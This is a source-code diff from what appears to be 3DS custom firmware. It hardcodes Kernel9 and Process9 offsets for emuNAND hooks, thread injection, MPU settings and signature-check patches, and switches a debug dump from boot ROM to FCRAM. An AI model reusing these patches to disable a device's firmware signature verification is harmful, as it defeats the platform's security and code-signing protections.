+void *memsearch(void *start_pos, void *search, u32 size, u32 size_search); #endif \ No newline at end of file diff --git a/source/patches.c b/source/patches.c index 3c76e47..b6f5bb4 100644 --- a/source/patches.c +++ b/source/patches.c @@ -8,9 +8,8 @@ #define FIRM 0x24000000 -#define KERNEL9 (FIRM + 0x66A00) -#define PROC9 (FIRM + 0x7D700) -#define v9_6_Offset 0x1600 +#define KERNEL9 (FIRM + 0x68000) +#define PROC9 (FIRM + 0x7ED00) #define K9_ADDR 0x08006000 #define P9_ADDR 0x08028000 @@ -49,124 +48,37 @@ u8 th2[4] = {0xE0, 0xA6, 0x01, 0x08}; //0x0801A6E0 **************************************************/ //Where the emunand code is stored in firm -u32 emuCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801A4C0 - K9_ADDR); - break; - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801A4C0 - K9_ADDR); - break; - } - return ret; +u32 emuCode(void){ + return KERNEL9 + (0x0801A4C0 - K9_ADDR); } //Where thread code is stored in firm -u32 threadCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801A6E0 - K9_ADDR); - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801A6E0 - K9_ADDR); - break; - } - return ret; +u32 threadCode(void){ + return KERNEL9 + (0x0801A6E0 - K9_ADDR); } //Area of MPU setting code -u32 mpuCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801B3D4 - K9_ADDR); - break; - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801B3D4 - K9_ADDR); - break; - } - return ret; +u32 mpuCode(void){ + return KERNEL9 + (0x0801B3D4 - K9_ADDR); } //Offsets to redirect to thread code -u32 threadHook(u8 val, u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - ret = val == 1 ? - PROC9 + (0x0808690C - P9_ADDR) : - PROC9 + (0x08086940 - P9_ADDR); - break; - case 0x0C: - //TODO: find - break; - case 0x0F: - ret = val == 1 ? - PROC9 + (0x080860B0 - P9_ADDR) : - PROC9 + (0x080860E4 - P9_ADDR); - break; - case 0x18: - ret = val == 1 ? - PROC9 + v9_6_Offset + (0x08086140 - P9_ADDR) : - PROC9 + v9_6_Offset + (0x08086174 - P9_ADDR); - break; - } - return ret; +u32 threadHook(u8 val){ + return val == 1 ? + PROC9 + (0x08086140 - P9_ADDR): + PROC9 + (0x08086174 - P9_ADDR); } //Offsets to redirect to Emunand code -u32 emuHook(u8 val, u32 kver){ //latest only - u32 ret = NULL; - switch(kver){ - case 0x04: - //??? - break; - case 0x0C: - //??? - break; - case 0x0F: - if(val == 1) ret = PROC9 + (0x0807882C - P9_ADDR); - else if(val == 2) ret = PROC9 + (0x0807886C - P9_ADDR); - break; - case 0x18: - if(val == 1) ret = PROC9 + v9_6_Offset + (0x0807882C - P9_ADDR); - else if(val == 2) ret = PROC9 + v9_6_Offset + (0x0807886C - P9_ADDR); - break; - } - return ret; +u32 emuHook(u8 val){ //latest only + return val == 1 ? + PROC9 + (0x0807882C - P9_ADDR): + PROC9 + (0x0807886C - P9_ADDR); } //Offsets to redirect to thread code -u32 sigPatch(u8 val, u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - ret = val == 1 ? - PROC9 + (0x08063C28 - P9_ADDR) : - PROC9 + (0x0805E2D4 - P9_ADDR); - break; - case 0x0C: - ret = val == 1 ? - 0 : - 0; //TODO: find - break; - case 0x0F: - ret = val == 1 ? - PROC9 + (0x08063374 - P9_ADDR) : - PROC9 + (0x0805D498 - P9_ADDR); - break; - case 0x18: - ret = val == 1 ? - PROC9 + v9_6_Offset + (0x080632B8 - P9_ADDR) : - PROC9 + v9_6_Offset + (0x0805D628 - P9_ADDR); - break; - } - return ret; +u32 sigPatch(u8 val){ + return val == 1 ? + PROC9 + (0x080632B8 - P9_ADDR) : + PROC9 + (0x0805D628 - P9_ADDR); } \ No newline at end of file diff --git a/source/patches.h b/source/patches.h index f1fdba5..e887128 100644 --- a/source/patches.h +++ b/source/patches.h @@ -21,11 +21,11 @@ u8 th2[4]; /************************************************** * Functions **************************************************/ -u32 emuCode(u32 kver); -u32 mpuCode(u32 kver); -u32 threadCode(u32 kver); -u32 threadHook(u8 val, u32 kver); -u32 emuHook(u8 val, u32 kver); -u32 sigPatch(u8 val, u32 kver); +u32 emuCode(void); +u32 mpuCode(void); +u32 threadCode(void); +u32 threadHook(u8 val); +u32 emuHook(u8 val); +u32 sigPatch(u8 val); #endif \ No newline at end of file diff --git a/thread/source/lib.c b/thread/source/lib.c index 176e452..34193b4 100644 --- a/thread/source/lib.c +++ b/thread/source/lib.c @@ -10,10 +10,10 @@ void *memset(void * ptr, int value, unsigned int num){ } int strcomp(char* s1, char* s2, unsigned int size){ - for(int i = 0; i < size; i++){ + for(int i = 0; i < size*2; i++){ if(s1[i] != s2[i]) return 0; } - return 1; + return 1; } void strcopy(char* dest, char* source, unsigned int size){ diff --git a/thread/source/thread.c b/thread/source/thread.c index 5be3702..5c0e5fd 100644 --- a/thread/source/thread.c +++ b/thread/source/thread.c @@ -68,7 +68,9 @@ void screenShot(int frame){ void patches(void){ //Change version string for(int i = 0; i < 0x600000; i+=4){ - if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4); + if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)){ + if(strcomp((void*)0x27B00000 - i + 0x28, (void*)"T_ver_00", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4); + } } } @@ -79,7 +81,7 @@ void thread(void){ screenShot(BOT_FRAME); } if(isPressed(BUTTON_START | BUTTON_X)){ - memdump(L"sdmc:/BootRom.bin", 0xFFFF0000, 0x8000); + memdump(L"sdmc:/FCRAM.bin", (void*)0x27500000, 0x600000); } patches(); }